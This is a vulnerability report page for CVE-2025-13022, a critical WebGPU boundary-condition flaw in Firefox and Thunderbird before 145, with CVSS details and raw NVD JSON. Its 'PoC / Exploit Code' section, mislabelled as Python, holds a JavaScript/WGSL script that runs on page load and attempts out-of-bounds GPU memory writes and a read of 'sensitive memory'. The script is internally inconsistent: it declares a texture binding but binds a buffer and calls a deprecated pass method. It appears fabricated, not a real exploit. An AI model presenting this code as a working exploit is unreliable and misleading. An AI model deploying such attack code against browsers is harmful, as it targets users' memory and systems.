Security Vulnerability Report
中文
CVE-2025-13022 CVSS 9.8 CRITICAL

CVE-2025-13022

Published: 2025-11-11 16:15:39
Last Modified: 2026-04-13 15:16:44

Description

Incorrect boundary conditions in the Graphics: WebGPU component. This vulnerability was fixed in Firefox 145 and Thunderbird 145.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:mozilla:firefox:*:*:*:*:-:*:*:* - VULNERABLE
Mozilla Firefox < 145
Mozilla Thunderbird < 145

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-13022 PoC - WebGPU Boundary Condition Error // This PoC demonstrates triggering WebGPU boundary condition vulnerability // Target: Firefox < 145, Thunderbird < 145 const maliciousShaderCode = ` @group(0) @binding(0) var<storage, read_write> output : array<f32>; @compute @workgroup_size(1) fn main() { // Trigger out-of-bounds access through improper boundary check var index: u32 = 4294967295; // Max u32 value to trigger overflow // This operation may cause boundary condition error for (var i: u32 = 0u; i < 100u; i++) { output[index + i] = 1.0; // Out-of-bounds write attempt } // Attempt to read sensitive memory through boundary bypass let leaked_data = output[0]; } `; async function triggerVulnerability() { if (!navigator.gpu) { console.log('WebGPU not supported'); return; } try { const adapter = await navigator.gpu.requestAdapter(); if (!adapter) { console.log('No GPU adapter found'); return; } const device = await adapter.requestDevice(); // Create malicious compute pipeline const shaderModule = device.createShaderModule({ code: maliciousShaderCode }); const bindGroupLayout = device.createBindGroupLayout({ entries: [{ binding: 0, visibility: GPUShaderStage.COMPUTE, storageTexture: { format: 'rgba32float', access: 'read-write' } }] }); const computePipeline = device.createComputePipeline({ layout: device.createPipelineLayout({ bindGroupLayouts: [bindGroupLayout] }), compute: { module: shaderModule, entryPoint: 'main' } }); // Create buffer for out-of-bounds access const bufferSize = 256; const outputBuffer = device.createBuffer({ size: bufferSize, usage: GPUBufferUsage.STORAGE | GPUBufferUsage.COPY_SRC }); const bindGroup = device.createBindGroup({ layout: bindGroupLayout, entries: [{ binding: 0, resource: { buffer: outputBuffer } }] }); const commandEncoder = device.createCommandEncoder(); const computePass = commandEncoder.beginComputePass(); computePass.setPipeline(computePipeline); computePass.setBindGroup(0, bindGroup); computePass.dispatchWorkgroups(1, 1, 1); computePass.endPass(); device.queue.submit([commandEncoder.finish()]); console.log('Vulnerability trigger attempted'); } catch (error) { console.error('Error during exploitation:', error); } } // Execute when page loads triggerVulnerability();

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13022", "sourceIdentifier": "[email protected]", "published": "2025-11-11T16:15:39.287", "lastModified": "2026-04-13T15:16:43.687", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Incorrect boundary conditions in the Graphics: WebGPU component. This vulnerability was fixed in Firefox 145 and Thunderbird 145."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-703"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:-:*:*:*", "versionEndExcluding": "145.0", "matchCriteriaId": "445D5AED-0882-46FE-A5F1-B7148B923221"}]}]}], "references": [{"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=1988488", "source": "[email protected]", "tags": ["Permissions Required"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2025-87/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2025-90/", "source": "[email protected]"}]}}